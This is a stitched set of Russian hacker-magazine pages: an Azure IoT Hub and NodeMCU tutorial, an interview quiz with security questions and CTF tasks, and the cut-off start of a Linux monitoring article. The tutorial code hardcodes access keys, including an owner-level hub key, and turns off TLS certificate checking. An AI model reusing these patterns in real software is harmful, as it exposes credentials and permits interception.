Для  под клю чения  устрой ства  к  IoT‐хабу  нам  необ ходимо  сге нери ровать
SAS  (shared  access  signature).  Для  генера ции  SAS  исполь зует ся  ключ  двой‐ 
ника устрой ства,  который мож но получить с помощью вспо мога тель ной ути‐ 
литы (Device Explorer, iothub‐explorer, IoT Extension for Azure CLI 2.0). Но про ще
все го  получить  ключ  все  там  же,  на  пор тале  Azure,  зай дя  в  IoT  Hub →  IoT
Devices.

IoT Explorer

SAS  мож но  сге нери ровать  на  устрой стве,  а  мож но  с  помощью  сво его
онлайн‐сер виса. В прин ципе, SDK может сге нери ровать SAS авто мати чес ки
(дос таточ но в коде ука зать ключ двой ника устрой ства).

Соз дание токена с помощью сер виса

Спо соб,  при  котором SAS‐токен  генери рует ся  веб‐сер висом на  огра ничен‐ 
ное  вре мя,  чуть  более  безопа сен.  Хотя  сущес тву ет  и  опре делен ный  нюанс.
Если  отправ лять  сер вису  толь ко  имя  устрой ства,  то  зло умыш ленник  может
перебо ром имен получить токен какого‐то дру гого устрой ства. Поэто му, что‐ 
бы  нем ного  обе зопа сить  про цесс,  пред лагаю  такое  решение:  сох раним
на  устрой стве  хеш  Azure‐клю ча  двой ника  устрой ства.  И  в  коде  сер виса
перед  генера цией SAS про верим, сов пада ет ли  хеш с  хешем клю ча устрой‐ 
ства. Таким обра зом, получить SAS мож но будет, толь ко зная имя устрой ства
и хеш его клю ча.

Пер вый  спо соб,  при  котором  SAS  генери рует ся  на  устрой стве,  более
прос той  и  удоб ный,  но  чуть  менее  безопас ный,  так  как,  получив  дос туп
к  устрой ству,  зло умыш ленник  смо жет  добыть  ключ  и  генери ровать  SAS
устрой ства  самос тоятель но.  Во  вто ром  слу чае  взлом щик  смо жет  получать
толь ко SAS токены, вре мя жиз ни которых огра ниче но.

Вы ходит, что оба спо соба по боль шому сче ту неидеаль ны, если у  хакера
есть  дос туп  к  устрой ству.  Даже  защита  соеди нения  с  помощью  VPN  здесь
не  поможет.  В  таком  слу чае  канал  переда чи  будет  защищен,  но  тот,  кому
попадет в руки устрой ство, смо жет получить и дос туп к каналу. К сожале нию,
на устрой ствах NodeMCU, Arduino и подоб ных нет воз можнос ти хра нить клю‐ 
чи/пароли в каком‐либо безопас ном хра нили ще.

СОЗДАНИЕ AZURE-ФУНКЦИИ ДЛЯ ГЕНЕРАЦИИ SAS
В  качес тве  онлайн‐сер виса  про ще  все го  исполь зовать  Azure‐фун кции.
Это сво еоб разные снип петы,  которые мож но писать сра зу на пор тале Azure
в бра узе ре. Шут ки шут ками, но таким обра зом прог рамми ровать мож но даже
со смар тфо на. Конеч но, ник то не зап реща ет соз давать и отла живать их и из
Visual  Studio  и  толь ко  потом  пуб ликовать  в  Azure  уже  в  откомпи лиро ван ном
виде. Задача фун кции — выпол нить какую‐то, как пра вило, не осо бо слож ную
опе рацию. По мик росер висной задум ке, каж дая фун кция уме ет делать что‐то
одно, но зато очень хорошо (прин цип Single responsibility).

Соз дать Azure Function App мож но на пор тале, запол нив неболь шую анке‐ 
ту.

Соз дание Azure‐фун кции

Consumption  Plan  поз воля ет  пла тить  толь ко  за  те  вызовы фун кции,  которые
были совер шены. Это самый недоро гой вари ант. На дан ный момент мил лион
вызовов фун кции дает ся бес плат но. Заметь, что вмес те с фун кци ей соз дает‐ 
ся и вспо мога тель ное хра нили ще дан ных (Storage).

Пос ле  соз дания  Function  App мож но  соз дать  и  саму фун кцию.  В  дан ном
слу чае нам нуж на фун кция типа Webhook + API. Фун кция может быть откры та
всем  (ано ним ный  дос туп),  а  может  быть  дос тупна  толь ко  обла дате лям  осо‐ 
бого кода. Код мож но получить из окна работы с фун кци ей, нажав на ссыл ку 

.
>

Get function URL

Ок но работы с Azure‐фун кци ей

Фун кции мож но писать на раз личных язы ках. Я пред почитаю C#.

using System.Net;
using Microsoft.Azure.Devices;
using Microsoft.Azure.Devices.Common.Security;
using System.Globalization;
using System.Security.Cryptography;
using System.Text;
public static async Task<HttpResponseMessage> Run(HttpRequestMessage 
req, TraceWriter log)
{
   string deviceid = req.GetQueryNameValuePairs()
               .FirstOrDefault(q => string.Compare(q.Key, "deviceid"
, true, CultureInfo.InvariantCulture) == 0).Value;
   string hash = req.GetQueryNameValuePairs()
               .FirstOrDefault(q => string.Compare(q.Key, "hash", 
true, CultureInfo.InvariantCulture) == 0).Value;
   if (String.IsNullOrEmpty(deviceid)) return req.CreateResponse(
HttpStatusCode.BadRequest, "device id missing"); 
   if (String.IsNullOrEmpty(hash)) return req.CreateResponse(HttpSt
atusCode.BadRequest, "hash missing");
   var resourceUri ="ArduinoDemoHub.azure‐devices.net/devices/"+
deviceid;
   // taken from IoT Hub user with Connect devices rights (not from 
Device Explorer)   
   var connectionString = "HostName=ArduinoDemoHub.azure‐devices.
net; SharedAccessKeyName=iothubowner; SharedAccessKey=cuYBKc42lfJr4oS
RGQGQ8IiKWxGQkLre7rprZDZ/ths=";
   var registryManager = RegistryManager.CreateFromConnectionString(
connectionString);
   var device = await registryManager.GetDeviceAsync(deviceid);
   var key = device.Authentication.SymmetricKey.PrimaryKey;
   HMACSHA256 hmac = new HMACSHA256(Encoding.UTF8.GetBytes("somera
ndomkeyKJBWyfy4gski"));
   var hashedkey = Convert.ToBase64String(hmac.ComputeHash(Encoding.
UTF8.GetBytes(key)));
   if (hashedkey!=hash) return req.CreateResponse(HttpStatusCode.
BadRequest, "wrong hash");
      SharedAccessSignatureBuilder sasBuilder = new SharedAccessSig
natureBuilder()
       {
           Key = key,
           Target = resourceUri,
           TimeToLive = TimeSpan.FromDays(Convert.ToDouble(7))
       };
       var SAS = sasBuilder.ToSignature();
       return req.CreateResponse(HttpStatusCode.OK, SAS);
}

Соз даем файл project.json и добав ляем в него сле дующее содер жимое:

{
   "frameworks": {
       "net46": {
           "dependencies": {
               "Microsoft.Azure.Devices": "1.4.1"
           }
       }
   }
}

В  коде  исполь зует ся  стро ка  под клю чения  к  IoT‐хабу.  Ее  мож но  спу тать
со  стро кой  под клю чения  к  устрой ству.  На  вся кий  слу чай  напом ню,  где  ее
мож но взять.

Ключ дос тупа к IoT‐хабу

Не обхо димо взять Connection string из какого‐нибудь Policy с пра вами Device
connect. Саму  стро ку  под клю чения  луч ше не  ука зывать  в  коде,  как  сде лал  я
(это  исклю читель но  ради  при мера).  Луч ше  все го  зай ти  в  Application  settings
фун кции.

Стра ница нас тро ек, на которой мож но най ти Application settings

И  ука зать  там  стро ку  под клю чения.  Пос ле  это го  ее  мож но  «дос тавать»
из безопас ного хра нили ща с помощью

ConfigurationManager.ConnectionStrings["Имя_твоей_строки_подключения"
].ConnectionString

На  устрой стве  нам  необ ходимо  сох ранить  hashedkey.  Но  пред варитель но
нуж но  энко диро вать  эту  стро ку,  пос коль ку  отправ лять  зап рос  будем  через
Get, и не все сим волы могут при сутс тво вать в зна чении парамет ра. Поможет
нам HttpUtility.UrlEncode из прос транс тва System.Web:

hashedkey = HttpUtility.UrlEncode(hashedkey);

Продолжение статьи →

mailto:asommer@yandex.ru
https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers
https://nodemcu-build.com/
https://hub.docker.com/r/marcelstoer/nodemcu-build/
http://www.esp8266.com/wiki/doku.php?id=toolchain#how_to_setup_a_vm_to_host_your_toolchain
https://github.com/marcelstoer/nodemcu-pyflasher/releases
https://github.com/nodemcu/nodemcu-flasher
https://esp8266.ru/esplorer/#download
https://studio.zerobrane.com/


ПРЫЖОК В ОБЛАКО
СТРОИМ БЮДЖЕТНОЕ РЕШЕНИЕ

ДЛЯ ИНТЕРНЕТА ВЕЩЕЙ
НА NODEMCU + AZURE IOT HUB

КОДИНГ  НАЧАЛО СТАТЬИ←

НАПИСАНИЕ КОДА ДЛЯ ОТПРАВКИ ДАННЫХ В ОБЛАКО
Я написал неболь шой код на Lua, отправ ляющий дан ные в обла ко. Получил ся
сво еоб разный PoC. Можешь его исполь зовать и дораба тывать под свои нуж‐ 
ды.

Соз даем два фай ла: init.lua и SendDataToCloud.lua. Содер жимое пер вого:

‐‐ Информация об устройстве
print('init.lua ver 1.2') 
wifi.setmode(wifi.STATION)
print('set mode=STATION (mode='..wifi.getmode()..')')
print('MAC: '..wifi.sta.getmac())
print('chip: '..node.chipid())
print('heap: '..node.heap())
‐‐ Настройка Wi‐Fi
station_cfg={}
station_cfg.ssid="Твой_SSID"
station_cfg.pwd="Пароль_твоей_точки_доступа"
station_cfg.save=false
wifi.sta.config(station_cfg)
wifi_status_codes = {
   [0] = "Idle",
   [1] = "Connecting",
   [2] = "Wrong Password",
   [3] = "No AP Found",
   [4] = "Connection Failed",
   [5] = "Got IP"
}
sntp_connect_status_codes = {
   [1] = "DNS lookup failed",
   [2] = "Memory allocation failure",
   [3] = "UDP send failed",
   [4] = "Timeout, no NTP response received"
}
‐‐ Ждем подключения к Wi‐Fi (совершаем попытки каждую секунду)
tmr.alarm(6,1000, 1, function() 
   if wifi.sta.getip()==nil then 
       print("Waiting for IP address! (Status: "..wifi_status_codes[
wifi.sta.status()]..")") 
   else 
       print("New IP address is "..wifi.sta.getip()) 
       tmr.stop(6) 
   ‐‐ Синхронизируем часы с NTP
   sntp.sync({'pool.ntp.org'},
     function(sec, usec, server)
       print("Clock Synced: "..sec..", "..usec..", "..server)
       tls.cert.verify(false)
       ‐‐ Выполняем следующий файл
       dofile('SendDataToCloud.lua')
     end,
     function(error_code)
       print("Clock Sync Failed: "..sntp_connect_status_codes[error_
code])
     end,
     1 ‐‐ Повторяем синхронизацию в случае ошибки
   )
   end
 end

)

Этот файл  совер шает  под клю чение  к  сети  и  выпол няет  код из фай ла Send‐
DataToCloud.lua  в  слу чае  успешно го  под клю чения.  Необ ходимо  ука зать
в  качес тве  зна чений  station_cfg.ssid  и  station_cfg.pwd  дан ные  точ ки  дос тупа
Wi‐Fi.

В сле дующем фай ле надо изме нить имя устрой ства и  IoT‐хаба (перемен‐ 
ные  DEVICE  и  IOTHUB).  В  перемен ной  funcurl  ука зан  адрес  генери рующей
SAS фун кции и в качес тве зна чения парамет ра hash ука зан хеш клю ча девай‐ 
са  (который  мы  пред варитель но  закоди рова ли  с  помощью
HttpUtility.UrlEncode).

‐‐ Конфигурация
DEVICE = "LuaDevice" 
IOTHUB = "ArduinoDemoHub.azure‐devices.net"   
PORT   = 8883
USER   = "ArduinoDemoHub.azure‐devices.net/"..DEVICE.."/
api‐version=2016‐11‐14"
telemetry_topic="devices/"..DEVICE.."/messages/events/"
connected = false
local headers = 
       'Content‐Type: application/x‐www‐form‐urlencoded\r\n'..
       'Accept: */*\r\n'..
       'User‐Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.
0) Gecko/20100101 Firefox/47.0'
funcurl = "https://arduinofunction.azurewebsites.net/api/Genera
teSASFunction?code=Jn7j54PbR31BSRa0UZrDwp4ZEltjmWHmblG9zLo0Ne0tyGM7w/
wQ7w=="
funcurl = funcurl.."&hash=oJzykimyQsTPtzgJxYq90Xfqmw1rZTPTCH%2bJ5sS
urKI%3d"
funcurl = funcurl.."&deviceid="..DEVICE
tmr.alarm(1,5000, 1, function()
http.get(funcurl, headers, 
  function(code, data, header)
    if (code < 0) then
     print("HTTP request failed")
   else
   sas = true
     print(code, data)
      if string.match(data, "Shared") then
        tmr.stop(1) 
        SAS = string.sub(data,2,string.len(data)‐1)
        print(SAS)
        connect(SAS)
      end
   end
  end)
 end)

function connect(SAS)    
‐‐ Создаем клиент MQTT
client = mqtt.Client(DEVICE, 240, USER, SAS)
‐‐ Подключаемся к IoTHub с помощью протокола MQTT
print ("Connecting to MQTT broker. Please wait...")
  tmr.alarm(2,1000, 1, function()
    client:connect(IOTHUB, PORT, 1,
   ‐‐ Callback в случае успешного подключения
   function(client)
       tmr.stop(2) 
       print("Connected to MQTT: "..IOTHUB..":"..PORT.." as "..
DEVICE)
       connected = true
       senddata()        
   end,
   ‐‐ Callback в случае ошибки
   function(client, reason)
       print("Error Connecting: "..reason)
   end
          )
 end)

end
function senddata()    
   math.randomseed(1)
   tmr.alarm(3, 1000, tmr.ALARM_AUTO, publish_data)
   ‐‐ Если вдруг отключимся, то будет выполнен следующий callback
   client:on("offline", function(client)
       print("MQTT Disconnected.")
       connected = false
   end)
end
‐‐ Функция, отправляющая данные в облако
function publish_data()
   if connected == true then
       somedata =  math.random(1,100)
       ‐‐ Подготавливаем данные для отправки
       payload =  
           "{ \"deviceId\" : \""..DEVICE.."\","..
           "\"iotdata\" :"..somedata.."}"
       ‐‐ Отправляем данные
       client:publish(telemetry_topic, payload, 1, 0, function(
client)
           print("Data published successfully.")
       end)
   end
end

Дан ные  отправ ляют ся  без  исполь зования  Azure  SDK,  так  что  можешь  при‐ 
менять этот код не толь ко для отправ ки дан ных имен но в Azure. Аль тер натив
дос таточ но мно го:  .AWS, Google Cloud IoT, IBM Watson IoT Platform

В  при мере  исполь зует ся  про токол  MQTT  (Message  Queuing  Telemetry
Transport). Это откры тый про токол,  который раз работан спе циаль но для  IoT‐
устрой ств. Дан ные отправ ляют ся в фор мате JSON. Там, где в реаль ных про‐ 
ектах дан ные сни мают ся с дат чиков, в при мере генери рует ся слу чай ное чис‐ 
ло.  Во  вре мя  про цес са  handshake  меж ду  устрой ством  и  IoT‐хабом  сер вер
может  отпра вить  свой  сер тификат,  а  может  зап росить  сер тификат  устрой‐ 
ства.  Если  пом нишь,  то    при  работе  с  Arduino‐девай сом  мы
про шива ли его сер тифика том. Сей час же дос таточ но одной стро ки кода:

в  прош лый  раз

tls.cert.verify(false)

Ог раничи ваем ся сер тифика том, который отпра вит нам сер вер.

INFO

Со дер жимое  сер тифика тов  хаба мож но  получить
с помощью сле дующей коман ды OpenSSL:

openssl s_client ‐showcerts ‐connect 
ArduinoDemoHub.azure‐devices.net:8883

РАБОТАЕМ С NODEMCU ИЗ ARDUINO IDE
Не могу обой ти сто роной тему исполь зования SDK. Свое решение, конеч но,
хорошо,  но  SDK  —  это  тот  же  самый  код,  который  уже  отла жен,  упро щен
и  готов  для  исполь зования.  Нес коль ко  слов  о  том,  как  нас тро ить  и  исполь‐ 
зовать Arduino IDE для работы с NodeMCU. Пос ле уста нов ки Arduino IDE нуж‐ 
но зай ти в меню File → Preferences.

Нас трой ки Arduino IDE

И добавить ссыл ку на допол нитель ный менед жер плат — ввес ти в поле Addi‐
tional Boards Manager URLs адрес

http://arduino.esp8266.com/versions/2.4.0/package_esp8266com_index.
json

За тем  зай ти  в  меню  Tools  →  Board  xxx  →  Boardx  Manager  и  уста новить
ESP8266.

Ус танав лива ем  биб лиоте ки  AzureIoTHub,  AzureIoTUtility,  AzureIoTProto‐
col_MQTT. Пос ле уста нов ки пос ледней биб лиоте ки в при мерах  (меню File →
Examples → AzureIoTProtocol_MQTT) мож но най ти при мер simplesample_mqtt
для ESP8266. При мер готов к работе. Дос таточ но толь ко запол нить зна чения
перемен ных в фай ле iot_configs.h.

Упо мяну  об  одном  неболь шом  минусе.  Ком пиляция  про екта  и  заг рузка
на пла ту, по срав нению с Lua, занима ет доволь но дол гое вре мя.

СОХРАНЕНИЕ ДАННЫХ В ОБЛАКЕ AZURE
С отправ кой дан ных все понят но, но как недоро го сох ранить дан ные в обла‐ 
ке? Самый эко ном ный на сегод няшний день спо соб отпра вить дан ные из IoT‐
хаба в базу дан ных — все те же Azure Functions. А самое недоро гое хра нили‐ 
ще дан ных — Azure Table Storage.

INFO

Всег да  советую  при  исполь зовании  облачных
сер висов  от  любого  про вай дера  при вязы вать
к акка унту кар ту с минималь но необ ходимой сум‐ 
мой  на  сче ту.  Тог да  тебе  не  при дет ся  рас пла‐ 
чивать ся  боль шими  день гами  за  какую‐нибудь
ошиб ку в коде.

Ин терес но,  что при соз дании Function App авто мати чес ки  соз дает ся и Stor‐
age,  который  необ ходим  самой  фун кции  для  работы.  Если  ты  соз даешь
отдель ное хра нили ще, то основные нас трой ки желатель но сде лать при мер но
такими:

Соз дание Storage account

LSR‐реп ликация  —  это  самый  недоро гой  на  дан ный  момент  вари ант.  Он
выбира ется  при авто мати чес ком соз дании  хра нили ща,  при вязан ного  к фун‐ 
кции.

Сей час нам нуж но получать дан ные от IoT‐хаба и записы вать их в хра нили‐ 
ще. Для это го слу чая окош ко Quick Start  при соз дании фун кции нуж ный нам
вари ант пред ложить не смо жет.

Соз дание Azure‐фун кции — окно Quick Start

По это му нажима ем ссыл ку Custom function, рас положен ную вни зу, и выбира‐ 
ем вари ант IoT Hub (Event Hub). Здесь нам откро ется такое окош ко:

Соз дание фун кции для работы с IoT‐хабом

По ле  Event  Hub  connection  мы  можем  запол нить  прос тым  выбором  (нажав
new).  А  вот  что бы  ука зать  Event  Hub  name,  необ ходимо  зай ти  в  IoT‐хаб,
в  хабе —  в  Endpoints  (конеч ные  точ ки)  и  взять  отту да  Event  Hub‐compatible
name.

По луче ние име ни, сов мести мого с Event Hub

Пе рей дем к коду фун кции. Сле дующий снип пет получа ет дан ные из  IoT‐хаба
и сох раня ет в Table Storage:

#r "Microsoft.WindowsAzure.Storage"
#r "Newtonsoft.Json"
using Microsoft.Azure; // Namespace for CloudConfigurationManager
using Microsoft.WindowsAzure.Storage; // Namespace for CloudS
torageAccount
using Microsoft.WindowsAzure.Storage.Table; // Namespace for Table 
storage types
using Newtonsoft.Json;
public static void Run(string myIoTHubMessage, TraceWriter log)
{
var e = JsonConvert.DeserializeObject<EventDataEntity>(myIoTH
ubMessage);
log.Info($"C# IoT Hub trigger function processed a message: {myIoTH
ubMessage}");
CloudStorageAccount storageAccount = CloudStorageAccount.Parse       
("DefaultEndpointsProtocol=https;AccountName=iotdatademostorage;

AccountKey=JgStNcJvlQYeNsVCmpkHQUkWlZiQ7tJwAm6OCL34+lGx3XrR+0CPiY9
RoxIDA6VSvMKlOEUrVWL+KWP0qLMLrw==;EndpointSuffix=core.windows.net");
CloudTableClient tableClient = storageAccount.CreateCloudTableClient
();
CloudTable table = tableClient.GetTableReference("iottable");
table.CreateIfNotExists();
EventDataEntity edata = new EventDataEntity("IOTpartition", Guid.
NewGuid().ToString());
edata.DeviceId = e.DeviceId;
edata.IotData = e.IotData;
TableOperation insertOperation = TableOperation.Insert(edata);
table.Execute(insertOperation);
}
public class EventDataEntity : TableEntity
{
   public EventDataEntity(string pkey, string rkey)
   {
       this.PartitionKey = pkey;
       this.RowKey = rkey;
   }
   public EventDataEntity() { }
   public string DeviceId { get; set; }
   public int IotData { get; set; }
}

Ес ли  ты  будешь  исполь зовать  этот  код  в  реаль ном  про екте,  то  не  забудь
вынес ти стро ку под клю чения в более безопас ное мес то — в App settings (точ‐ 
но  так же,  как и стро ку под клю чения пер вой фун кции). Саму стро ку под клю‐ 
чения мож но взять в пун кте нас тро ек под наз вани ем Access keys.

Клю чи дос тупа к дан ным

Прос матри вать  содер жимое  таб лиц  мож но  с  помощью  бес плат ной  ути литы
. Так как сто имость Azure Table Storage доволь но низ кая,

а  Azure  Functions  и  IoT‐хаб  пред лага ют  опре делен ные  ресур сы  еже месяч но
бес плат но,  то  все решение  в месяц может обой тись мень ше  чем  в  дол лар.
Конеч но,  это  зависит  от  количес тва  дан ных.  Счи тай  сам:  на  сегод няшний
момент  1  Гбайт  дан ных  сто ит  7  цен тов  в месяц  и  за  каж дый мил лион  тран‐ 
закций с тебя возь мут 4 цен та.

Azure Storage Explorer

WWW

Для под готов ки матери ала исполь зовались лабы,
которые  дос тупны  по  ссыл ке: 

.  Код  уже  не  сов сем  акту‐ 
аль ный,  и  приш лось  его  нем ного  обно вить,  но  в
целом ссыл ка может ока зать ся полез ной.

Sending Device‐to‐
Cloud  (D2C) Messages

https://xakep.ru/2017/06/01/arduino-azure-iot-hub-sensors/
https://azure.microsoft.com/en-us/features/storage-explorer/
http://thinglabs.io/workshop/esp8266/sending-d2c-messages/
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КОДИНГ

Дав нень ко  мы  не  балова ли  тебя  задача ми  на  собесе дова‐ 
ниях.  Пора  исправ лять ся!  Сегод ня  квес ты  пред став ляют
наши в некото ром роде кол леги — 

.  Занима ются  они,  как  нет рудно
догадать ся,  про фес сиональ ной  под готов кой  час тных  лиц
и ком паний, стре мящих ся при обрести необ ходимые навыки
и опыт в области ИТ и ИБ.

Выс шая шко ла информа‐ 
цион ной  безопас ности

IT-ком пании, шли те нам свои задач ки!
Мис сия этой мини‐руб рики — обра зова тель ная, поэто му мы бес плат но пуб‐ 
лику ем  качес твен ные  задач ки,  которые  раз личные  ком пании  пред лага ют
соис кателям.  Вы  шле те  задач ки  на    —  мы  их  пуб лику ем.
Никаких  актов,  догово ров,  экспер тиз  и  отчетнос тей.  Читате лям —  задач ки,
решате лям  —  подар ки,  вам  —  рес пект  от  нашей  мно госот тысяч ной  ауди‐ 
тории,  пиар щикам — строч ки  отчетнос ти  по  пуб ликаци ям  в  топовом  компь‐ 
ютер ном жур нале.

lozovsky@glc.ru

Крат ко напоми наю фор мат: ком пания пуб лику ет задачи, читате ли их реша ют
и при сыла ют пра виль ные отве ты, за что получа ют при зы, а иног да еще и дол‐ 
жнос ти  (прав да,  на  моей  памяти  час то  выходи ло  так,  что  задач ки  быс трее
всех решали пар ни, которые уже име ли хорошие дол жнос ти и менять работу
не торопи лись :)).

Се год няшнее задание сос тоит из десяти не очень слож ных тес товых воп‐ 
росов,  опре деля ющих  твой  кру гозор,  и  двух  реаль ных  хакер ских  заданий.
Поеха ли!

ДЕСЯТЬ ВОПРОСОВ
1.  При  каком  вари анте  спа ма  зло умыш ленни ки  вынуж дены  ука- 

зывать нас тоящий обратный адрес?

1. Фи шин говые пись ма.
2. Ни герий ские пись ма.
3. Ма лоти раж ная целевая спам‐рас сылка с вре донос ным вло жени ем.

2. Воз можна ли  утеч ка дан ных поль зовате ля,  если он  вво дит их

с вир туаль ной кла виату ры?

1. Нет.
2. Нет, если на компь юте ре зак леена виде ока мера.
3. Да.

3. Выбери те все из перечис ленных ниже проб лем, которые уда- 

ется решить с помощью тех нологии соления паролей:

1. Вы бор слиш ком корот кого пароля.
2. Не информа тив ность пароля.
3. Сов падение паролей у раз ных поль зовате лей.

4.  Какая  из  перечис ленных  ниже  вре донос ных  прог рамм  пред- 

назна чена для атак на онлайн‑бан кинг?
1. Chameleon.
2. Virus.Win9x.CIH.
3. Carberp.

5. Какой вид атак на онлайн‑бан кинг тех ничес ки наибо лее слож- 
ный и тре бует внед рения на ата куемом информа цион ном ресур се

экс пло ита?

1. Phishing.
2. Man‐in‐the‐Middle.
3. Man‐in‐the‐Endpoint.

6. В чем сла бое мес то про токо ла Диф фи — Хел лма на?

1. Ма тема тичес кая осно ва это го про токо ла ненадеж на.
2. Уяз вим по отно шению к ата кам Man‐in‐the‐Middle.
3. Стал уяз вим по отно шению к brute‐force attack с уче том вырос ших вычис‐ 
литель ных воз можнос тей компь юте ров.

7.  Какой  метод  DDOS-ата ки  поз воля ет  добить ся  мно гок ратно го

уси ления тра фика?

1. UDP flood.
2. Http slow post.
3. Dns amplification ата ка.

8. Какой хеш‑алго ритм работа ет быс трее?
1. CRC32.
2. MD5.
3. SHA‐2.

9.  Какие  крип тогра фичес кие методы  исполь зуют ся  в  тех нологии

блок чейн?

1. По токо вое шиф рование.
2. Хе широ вание.
3. Циф ровая под пись.

10. Выбери те все пра виль ные вари анты отве та:

1. Фор мат HTTPS раз работан спе циаль но для нужд онлайн‐бан кинга.
2. HTTPS явля ется отдель ным по срав нению с HTTP про токо лом.
3. HTTPS  —  это  рас ширение  про токо ла  HTTP,  в  котором  добав лено  шиф‐ 
рование  переда ваемых  по  тран спортным  механиз мам  про токо ла  HTTP
дан ных.

ХАКЕРСКИЕ ЗАДАНИЯ
За дание 1
На  рабочем  компь юте ре  сек ретно го  аген та  была  най дена  подоз ритель ная
прог рамма,  которая  кра дет дан ные. Агент  не рас терял ся и  снял 

  непос редс твен но  перед  отправ кой  зашиф рован ных  дан ных.  Пароль
на архив:  .

дамп  прог‐ 
раммы

infected
Тре бует ся: най ти флаг.

За дание 2
В  вашем  рас поряже нии  ока залась  зашиф рован ная  информа ция  в  фай ле

.  Дан ный  файл  зашиф рован  алго рит мом  AES‐256‐ECB.  К  счастью,
у вас есть ключ от зашиф рован ного фай ла  . Проб лема в том, что он
зашиф рован алго рит мом RSA пуб личным клю чом  .

flag.enc
key.enc

key.pub
Тре бует ся: рас шифро вать файл   и дос тать флаг.flag.enc

ПРИЗЫ И ПОДАРКИ
От веты при сылай Ека тери не Плот никовой:  .ep@smcomm.ru

Глав ный  приз  будет  разыг ран  ран домно  сре ди  учас тни ков,  пра виль но
решив ших  все  задания.  Победи тель  получит  от    сти пен дию  на  сум‐ 
му 100 тысяч руб лей. Она пол ностью пок роет рас ходы на про хож дение отбо‐ 
роч ного  кур са  (20  ака деми чес ких  часов),  а  так же  часть  основно го  9‐месяч‐ 
ного  кур са  по  осво ению  ,  пос ле  успешно го  про‐ 
хож дения которо го HackerU гаран тиру ет тру доус трой ство по спе циаль нос ти.

HackerU

про фес сии пен тесте ра

Прос лавлять  победи телей  мы  будем  через  месяц,  поимен но  :).  А  пос ле
того, как из тру бы над редак цией под нимет ся белый дым, который озна мену‐ 
ет  наз начение  победи теля,  товари щи  из  HackerU  пла ниру ют  рас пре делить
сре ди  учас тни ков  еще  нес коль ко  неболь ших  подароч ков  (в  виде  про моко‐ 
дов).

mailto:lozovsky@glc.ru
https://hackeru.pro/pentesting
mailto:lozovsky@glc.ru
https://stats.hackmag.com/public/zip/159159/Task_1.7z
https://xakep.ru/wp-content/uploads/2018/03/159159/Task_2.7z
mailto:ep@smcomm.ru
https://hackeru.pro/pentesting
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АДМИН

Ты  уве рен,  что  в  кур се  все го  про исхо дяще го  у  тебя  в  сис‐ 
теме?  Воз можно,  ты  даже  поль зуешь ся  какой‐то  сис темой
монито рин га  наподо бие  Prometheus  или  Zabbix,  но  зна ешь
ли ты, как самому получить под робные отче ты о работе сис‐ 
темы и железа? В этой статье мы рас ска жем, как, исполь зуя
коман дную  стро ку  Linux  и  стан дар тные  ути литы,  дос тупные
в  любом  дис три бути ве,  выжать  мак симум  информа ции
о работе сис темы.

САМ СЕБЕ БОЛЬШОЙ БРАТ
Что  вооб ще  такое  «монито ринг»?  Пос коль ку  я  в  свое  вре мя  окан чивал
химичес кий  уни вер ситет,  у  меня  это  понятие  чет ко  ассо циирует ся  с  сис‐ 
темами  управле ния  тех нологи чес кими  про изводс тва ми.  По  сути,  у  нас  есть
ряд  парамет ров  слож ной  сис темы,  которые  мы  отсле жива ем,  а  по  резуль‐ 
татам можем, если необ ходимо, выпол нить управля ющее воз дей ствие. Нап‐ 
ример,  понизить дав ление  в  реак торе. А  еще мы можем отпра вить  уве дом‐ 
ление опе рато ру, который уже незави симо при мет то или иное управля ющее
решение.

У тех, кто далек от химии, но бли зок к IT, ассо циация нем ного дру гая, но в
целом похожая — обыч но  это  экран  с  кучей  гра фиков,  на  которых  тво рит ся
какая‐то  магия,  как  в  гол ливуд ских  сери алах.  Для  мно гих  адми нис тра торов
так оно и выг лядит — Graphite/Icinga/Zabbix/Prometheus/Netdata (нуж ное под‐ 
чер кнуть)  как  раз  рису ют  кра сивый  интерфейс,  в  который мож но  задум чиво
гля деть, почесы вая бороду и гла дя сви тер.

Боль шинс тво  этих  сис тем  работа ют  оди нако во:  на  конеч ные  ноды,
за которы ми мы хотим наб людать,  уста нав лива ются так называ емые аген ты,
или кол лекто ры, а даль ше все про исхо дит по методи ке push или pull. То есть
либо мы  ука зыва ем  это му  аген ту мас тер‐ноду,  и  он  начина ет  пери оди чес ки
отсы лать  туда  отче ты  и  heartbeat,  либо  же,  наобо рот,  мы  добав ляем  ноду
в спи сок для монито рин га на мас тере, а тот уже, в свою оче редь, сам ходит
и опра шива ет аген ты о текущей ситу ации.

Нет,  я  не  буду  рас ска зывать  в  под робнос тях,  как  нас тра ивать  подоб ные
сис темы. Вмес то  это го мы  голыми руками докопа емся до  того,  что  вооб ще
про исхо дит в сис теме. Кста ти, хороший перечень ути лит для сисад мина при‐ 
веден  в  статье  Евге ния  Зоб нина  « ».  Нас тоятель но
советую взгля нуть.

Си сад мин ский  must  have

СРЕДНЯЯ ТЕМПЕРАТУРА ПО БОЛЬНИЦЕ
Об одной из самых базовых мет рик час то рас ска зыва ют на пер вых же заняти‐ 
ях по Linux даже в шко лах. Это всем извес тный uptime, он же вре мя неп рерыв‐ 
ной  работы  сис темы  с  момен та  пос ледней  перезаг рузки.  Ути лита  для  его
изме рения  называ ется  точ но  так  же  и  выда ет  целую  строч ку  полез ной
информа ции:

$ uptime
13:43 up 9 days, 9:23, 2 users, load averages: 0.01 0.04 0.01

В начале идет  текущее  вре мя,  потом собс твен но  аптайм,  потом  количес тво
залоги нив шихся в сис тему поль зовате лей, а даль ше показа тели load average,
те самые таинс твен ные три циф ры, о которых час то спра шива ют на собесе‐ 
дова ниях.  Кста ти,  есть еще  коман да  ,  которая  выда ет  ту же  самую строч ку
плюс чуть более под робную информа цию о том, что каж дый из юзе ров дела‐ 
ет.

w

Ин форма цию  об  uptime  мож но  пос мотреть  нап рямую  в  ,  толь ко
в таком слу чае она будет слег ка менее интер пре тиру емой:

/proc

$ cat /proc/uptime
5348365.91 5172891.73

Здесь пер вое чис ло — это сколь ко секунд сис тема работа ла с момен та стар‐ 
та,  а  вто рое —  сколь ко  из  них  она  работа ла  «вхо лос тую»,  не  делая  тол ком
ничего.

Но давай оста новим ся под робнее на load average, ибо тут есть один под‐ 
вох. Еще раз взгля нем на чис ла, в этот раз вос поль зовав шись интерфей сом 

 (чис ла те же самые, раз лича ется толь ко спо соб):
/

proc

$ cat /proc/loadavg
0.01 0.04 0.01 1/2177 27278

Те бе  не  сос тавит  тру да  най ти  информа цию,  что  в  UNIX‐сис темах  эти  чис ла
